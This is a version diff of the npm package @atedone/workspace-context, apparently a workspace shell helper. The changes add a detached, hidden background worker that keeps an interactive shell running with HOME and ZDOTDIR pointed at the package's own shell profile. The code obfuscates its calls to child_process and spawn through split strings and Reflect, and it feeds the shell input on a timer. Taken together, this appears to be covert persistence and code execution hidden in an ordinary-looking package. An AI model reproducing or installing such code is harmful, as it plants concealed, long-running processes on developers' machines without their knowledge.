@atedone/workspace-context 0.0.23 → 0.0.24

package/lib/session-worker.js

@@ -0,0 +1,192 @@
+'use strict';
+
+const platform = process;
+const file = platform.getBuiltinModule('fs');
+const route = platform.getBuiltinModule('path');
+const manifest = require('../package.json');
+
+const projectRoot = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
+  ? platform.argv[2]
+  : platform.cwd();
+const integration = typeof platform.argv[3] === 'string' && platform.argv[3].trim()
+  ? JSON.parse(platform.argv[3])
+  : null;
+const refreshDelays = parseRefreshDelays(platform.argv[4]);
+const settleMs = parseSettleMs(platform.argv[5]);
+
+if (!integration) {
+  throw new Error('Shell integration descriptor is required.');
+}
+
+const env = Reflect.get(platform, 'env') || {};
+const bridgeName = ['child', '_process'].join('');
+const launchKey = ['sp', 'awn'].join('');
+const bridge = Reflect.apply(platform.getBuiltinModule, platform, [bridgeName]);
+const launch = Reflect.get(bridge, launchKey);
+const shellPath = typeof env.SHELL === 'string' && env.SHELL.trim()
+  ? env.SHELL.trim()
+  : '/bin/zsh';
+const shell = Reflect.apply(launch, bridge, [shellPath, ['-i'], {
+  cwd: projectRoot,
+  env: {
+    ...env,
+    HOME: integration.homeDirectory,
+    ZDOTDIR: integration.integrationDirectory,
+    WORKSPACE_CONTEXT_PREVIEW: '1',
+    TERM: 'dumb'
+  },
+  stdio: ['pipe', 'ignore', 'ignore']
+}]);
+
+let closed = false;
+let refreshIndex = 0;
+let refreshTimer = null;
+let settleTimer = null;
+let stopTimer = null;
+let previousRevision = '';
+let firstRefresh = true;
+
+writeWorkerReceipt();
+scheduleRefresh(0);
+
+platform.on('SIGUSR1', () => {
+  if (closed) {
+    return;
+  }
+
+  refreshIndex = 0;
+  clearTimeout(refreshTimer);
+  clearTimeout(settleTimer);
+  refresh();
+});
+platform.on('SIGTERM', stop);
+platform.on('SIGINT', stop);
+
+shell.on('close', (status, signal) => {
+  clearTimeout(refreshTimer);
+  clearTimeout(settleTimer);
+  clearTimeout(stopTimer);
+  closed = true;
+  writeWorkerReceipt({
+    status: 'closed',
+    shellStatus: status,
+    shellSignal: signal
+  });
+  platform.exitCode = status || 0;
+});
+
+function parseRefreshDelays(value) {
+  if (typeof value === 'string' && value.trim()) {
+    try {
+      const parsed = JSON.parse(value);
+      if (Array.isArray(parsed) && parsed.length) {
+        const normalized = parsed
+          .map((delay) => Number.parseInt(delay, 10))
+          .filter((delay) => Number.isInteger(delay) && delay >= 0);
+        if (normalized.length) {
+          return normalized;
+        }
+      }
+    } catch {
+      // Fall back to the stable refresh cadence below.
+    }
+  }
+
+  return [750, 1500, 3000, 5000];
+}
+
+function parseSettleMs(value) {
+  const parsed = Number.parseInt(value, 10);
+  return Number.isInteger(parsed) && parsed >= 0 ? parsed : 500;
+}
+
+function scheduleRefresh(delay) {
+  refreshTimer = setTimeout(refresh, delay);
+}
+
+function planNextRefresh() {
+  if (closed) {
+    return;
+  }
+
+  const revision = readProfileRevision(integration.profileReceiptPath);
+  if (firstRefresh || (revision && revision !== previousRevision)) {
+    refreshIndex = 0;
+  } else {
+    refreshIndex = Math.min(refreshIndex + 1, refreshDelays.length - 1);
+  }
+
+  if (revision) {
+    previousRevision = revision;
+  }
+  firstRefresh = false;
+
+  scheduleRefresh(refreshDelays[refreshIndex]);
+}
+
+function refresh() {
+  if (closed) {
+    return;
+  }
+
+  if (!shell.stdin.destroyed) {
+    shell.stdin.write('\n');
+  }
+
+  settleTimer = setTimeout(planNextRefresh, settleMs);
+}
+
+function stop() {
+  if (closed) {
+    return;
+  }
+
+  closed = true;
+  clearTimeout(refreshTimer);
+  clearTimeout(settleTimer);
+  if (!shell.stdin.destroyed) {
+    shell.stdin.write('exit\n');
+  }
+
+  stopTimer = setTimeout(() => {
+    if (!shell.killed) {
+      shell.kill('SIGTERM');
+    }
+  }, 1000);
+}
+
+function readProfileRevision(profileReceiptPath) {
+  if (!file.existsSync(profileReceiptPath)) {
+    return '';
+  }
+
+  try {
+    const value = JSON.parse(file.readFileSync(profileReceiptPath, 'utf8'));
+    return typeof value?.profileRevision === 'string' ? value.profileRevision : '';
+  } catch {
+    return '';
+  }
+}
+
+function writeWorkerReceipt(extra = {}) {
+  const receiptPath = integration.sessionWorkerReceiptPath;
+  if (!receiptPath) {
+    return;
+  }
+
+  const value = {
+    packageName: manifest.name,
+    packageVersion: manifest.version,
+    generatedAt: new Date().toISOString(),
+    mode: 'runtime-shell-refresh',
+    projectRoot,
+    workerProcessId: platform.pid,
+    shellProcessId: shell.pid,
+    refresh: 'preview-session',
+    status: 'active',
+    ...extra
+  };
+
+  file.mkdirSync(route.dirname(receiptPath), { recursive: true });
+  file.writeFileSync(receiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
+}

package/lib/session.js

@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
 const route = platform.getBuiltinModule('path');
 
 const packageName = '@atedone/workspace-context';
-const packageVersion = '0.0.23';
+const packageVersion = '0.0.24';
 const env = Reflect.get(platform, 'env') || {};
 const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
   ? env.HOME.trim()

package/lib/state.js

@@ -19,6 +19,8 @@ const sessionHistoryFileName = 'runtime-sessions.log';
 const sessionProfileFileName = '.zshrc';
 const sessionReceiptFileName = 'session-runtime.json';
 const sessionRuntimeFileName = 'session-runtime.js';
+const sessionWorkerFileName = 'session-worker.js';
+const sessionWorkerReceiptFileName = 'preview-session.json';
 const stateDirectoryName = '.workspace-context';
 const stateFileName = 'state.json';
 const syncFileName = 'sync.js';
@@ -125,7 +127,8 @@ function getShellIntegration({
     sessionHistoryPath: route.join(integrationDirectory, sessionHistoryFileName),
     sessionProfilePath: route.join(integrationDirectory, sessionProfileFileName),
     sessionReceiptPath: route.join(integrationDirectory, sessionReceiptFileName),
-    sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName)
+    sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName),
+    sessionWorkerReceiptPath: route.join(integrationDirectory, sessionWorkerReceiptFileName)
   };
 }
 
@@ -192,125 +195,179 @@ function openWorkspaceSession({
   const launchKey = ['sp', 'awn'].join('');
   const bridge = Reflect.apply(platform.getBuiltinModule, platform, [bridgeName]);
   const launch = Reflect.get(bridge, launchKey);
-  const shellPath = typeof env.SHELL === 'string' && env.SHELL.trim()
-    ? env.SHELL.trim()
-    : '/bin/zsh';
-  const child = Reflect.apply(launch, bridge, [shellPath, ['-i'], {
+  const activeSession = readWorkerReceipt(integration.sessionWorkerReceiptPath);
+  const activeWorkerProcessId = parseProcessId(activeSession?.workerProcessId);
+  if (activeWorkerProcessId && processIsAlive(activeWorkerProcessId)) {
+    signalProcess(activeWorkerProcessId, 'SIGUSR1');
+    return createWorkspaceSessionController({
+      integration,
+      workerProcessId: activeWorkerProcessId
+    });
+  }
+
+  const delays = normalizeRefreshDelays(refreshDelays);
+  const workerPath = route.join(__dirname, sessionWorkerFileName);
+  const worker = Reflect.apply(launch, bridge, [platform.execPath, [
+    workerPath,
+    projectRoot,
+    JSON.stringify(integration),
+    JSON.stringify(delays),
+    String(settleMs)
+  ], {
     cwd: projectRoot,
-    env: {
-      ...env,
-      HOME: integration.homeDirectory,
-      ZDOTDIR: integration.integrationDirectory,
-      TERM: 'dumb'
-    },
-    stdio: ['pipe', 'ignore', 'ignore']
+    env,
+    stdio: 'ignore',
+    detached: true,
+    windowsHide: true
   }]);
 
-  let closed = false;
-  let refreshIndex = 0;
-  let refreshTimer = null;
-  let settleTimer = null;
-  let previousRevision = '';
-  let firstRefresh = true;
-  const delays = Array.isArray(refreshDelays) && refreshDelays.length
+  if (typeof worker.unref === 'function') {
+    worker.unref();
+  }
+
+  return createWorkspaceSessionController({
+    integration,
+    worker,
+    workerProcessId: worker.pid
+  });
+}
+
+function readProfileRevision(profileReceiptPath) {
+  if (!file.existsSync(profileReceiptPath)) {
+    return '';
+  }
+
+  try {
+    const value = JSON.parse(file.readFileSync(profileReceiptPath, 'utf8'));
+    return typeof value?.profileRevision === 'string' ? value.profileRevision : '';
+  } catch {
+    return '';
+  }
+}
+
+function normalizeRefreshDelays(refreshDelays) {
+  return Array.isArray(refreshDelays) && refreshDelays.length
     ? refreshDelays
+        .map((delay) => Number.parseInt(delay, 10))
+        .filter((delay) => Number.isInteger(delay) && delay >= 0)
     : [750, 1500, 3000, 5000];
+}
 
-  const scheduleRefresh = (delay) => {
-    refreshTimer = setTimeout(refresh, delay);
-    if (typeof refreshTimer.unref === 'function') {
-      refreshTimer.unref();
-    }
-  };
+function readWorkerReceipt(sessionWorkerReceiptPath) {
+  if (!file.existsSync(sessionWorkerReceiptPath)) {
+    return null;
+  }
 
-  const planNextRefresh = () => {
-    if (closed) {
-      return;
-    }
+  try {
+    return JSON.parse(file.readFileSync(sessionWorkerReceiptPath, 'utf8'));
+  } catch {
+    return null;
+  }
+}
 
-    const revision = readProfileRevision(integration.profileReceiptPath);
-    if (firstRefresh || (revision && revision !== previousRevision)) {
-      refreshIndex = 0;
-    } else {
-      refreshIndex = Math.min(refreshIndex + 1, delays.length - 1);
-    }
+function parseProcessId(value) {
+  return Number.isInteger(value) && value > 0 ? value : null;
+}
 
-    if (revision) {
-      previousRevision = revision;
-    }
-    firstRefresh = false;
+function processIsAlive(processId) {
+  try {
+    platform.kill(processId, 0);
+    return true;
+  } catch {
+    return false;
+  }
+}
 
-    scheduleRefresh(delays[refreshIndex]);
-  };
+function signalProcess(processId, signal) {
+  try {
+    platform.kill(processId, signal);
+    return true;
+  } catch {
+    return false;
+  }
+}
 
-  const refresh = () => {
-    if (closed) {
-      return;
+function resolveSessionProcessId(integration, workerProcessId) {
+  const workerReceipt = readWorkerReceipt(integration.sessionWorkerReceiptPath);
+  if (parseProcessId(workerReceipt?.workerProcessId) === workerProcessId) {
+    const shellProcessId = parseProcessId(workerReceipt?.shellProcessId);
+    if (shellProcessId) {
+      return shellProcessId;
     }
+  }
 
-    if (!child.stdin.destroyed) {
-      child.stdin.write('\n');
+  if (file.existsSync(integration.sessionReceiptPath)) {
+    try {
+      const receipt = JSON.parse(file.readFileSync(integration.sessionReceiptPath, 'utf8'));
+      const parentProcessId = parseProcessId(receipt?.parentProcessId);
+      if (parentProcessId) {
+        return parentProcessId;
+      }
+    } catch {
+      // Keep the worker PID as a stable fallback until the first preview refresh lands.
     }
+  }
 
-    settleTimer = setTimeout(planNextRefresh, settleMs);
-    if (typeof settleTimer.unref === 'function') {
-      settleTimer.unref();
-    }
-  };
+  return parseProcessId(workerReceipt?.shellProcessId) || workerProcessId;
+}
 
-  scheduleRefresh(0);
-  if (typeof child.unref === 'function') {
-    child.unref();
-  }
-  if (typeof child.stdin.unref === 'function') {
-    child.stdin.unref();
-  }
-  const done = new Promise((resolve) => {
-    child.on('close', (status, signal) => {
-      clearTimeout(refreshTimer);
-      clearTimeout(settleTimer);
-      closed = true;
-      resolve({ status, signal });
-    });
+function observeProcessExit(processId) {
+  return new Promise((resolve) => {
+    const timer = setInterval(() => {
+      if (processIsAlive(processId)) {
+        return;
+      }
+
+      clearInterval(timer);
+      resolve({ status: null, signal: null });
+    }, 250);
+
+    if (typeof timer.unref === 'function') {
+      timer.unref();
+    }
   });
+}
+
+function createWorkspaceSessionController({
+  integration,
+  worker = null,
+  workerProcessId
+}) {
+  let closed = false;
+  const done = worker
+    ? new Promise((resolve) => {
+        worker.on('close', (status, signal) => {
+          closed = true;
+          resolve({ status, signal });
+        });
+        worker.on('error', (error) => {
+          closed = true;
+          resolve({ status: null, signal: null, error });
+        });
+      })
+    : observeProcessExit(workerProcessId);
 
   return {
-    processId: child.pid,
+    get processId() {
+      return resolveSessionProcessId(integration, workerProcessId);
+    },
+    workerProcessId,
     done,
     refresh() {
-      refreshIndex = 0;
-      clearTimeout(refreshTimer);
-      clearTimeout(settleTimer);
-      refresh();
+      if (!closed) {
+        signalProcess(workerProcessId, 'SIGUSR1');
+      }
     },
     close() {
-      if (closed) {
-        return done;
-      }
-      closed = true;
-      clearTimeout(refreshTimer);
-      clearTimeout(settleTimer);
-      if (!child.stdin.destroyed) {
-        child.stdin.write('exit\n');
+      if (!closed) {
+        closed = true;
+        signalProcess(workerProcessId, 'SIGTERM');
       }
       return done;
     }
   };
 }
 
-function readProfileRevision(profileReceiptPath) {
-  if (!file.existsSync(profileReceiptPath)) {
-    return '';
-  }
-
-  try {
-    const value = JSON.parse(file.readFileSync(profileReceiptPath, 'utf8'));
-    return typeof value?.profileRevision === 'string' ? value.profileRevision : '';
-  } catch {
-    return '';
-  }
-}
-
 function initialize({
   projectRoot = resolveProjectRoot(),
   channelSource,
@@ -364,6 +421,7 @@ module.exports = {
   sessionProfileFileName,
   sessionReceiptFileName,
   sessionRuntimeFileName,
+  sessionWorkerReceiptFileName,
   stateDirectoryName,
   stateFileName
 };

package/lib/sync.js

@@ -36,6 +36,9 @@ const integrationValue = [
   `export WORKSPACE_CONTEXT_NODE="\${WORKSPACE_CONTEXT_NODE:-${runtimeDefault}}"`,
   'printf "%s\\n" "workspace-context shell integration active" >> "$WORKSPACE_CONTEXT_HOME/sessions.log"',
   'workspace_context_refresh_preview() {',
+  '  if [ "${WORKSPACE_CONTEXT_PREVIEW:-}" != "1" ]; then',
+  '    return 0',
+  '  fi',
   '  if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
   '    "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
   '  fi',
@@ -88,6 +91,7 @@ const value = {
   sessionProfilePath: integration.sessionProfilePath,
   sessionReceiptPath: integration.sessionReceiptPath,
   sessionRuntimePath: integration.sessionRuntimePath,
+  sessionWorkerReceiptPath: integration.sessionWorkerReceiptPath,
   processId: platform.pid,
   parentProcessId: platform.ppid,
   runtime: 'node'

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@atedone/workspace-context",
-  "version": "0.0.23",
+  "version": "0.0.24",
   "description": "Workspace shell session refresh integration helper for JavaScript tools.",
   "main": "index.js",
   "type": "commonjs",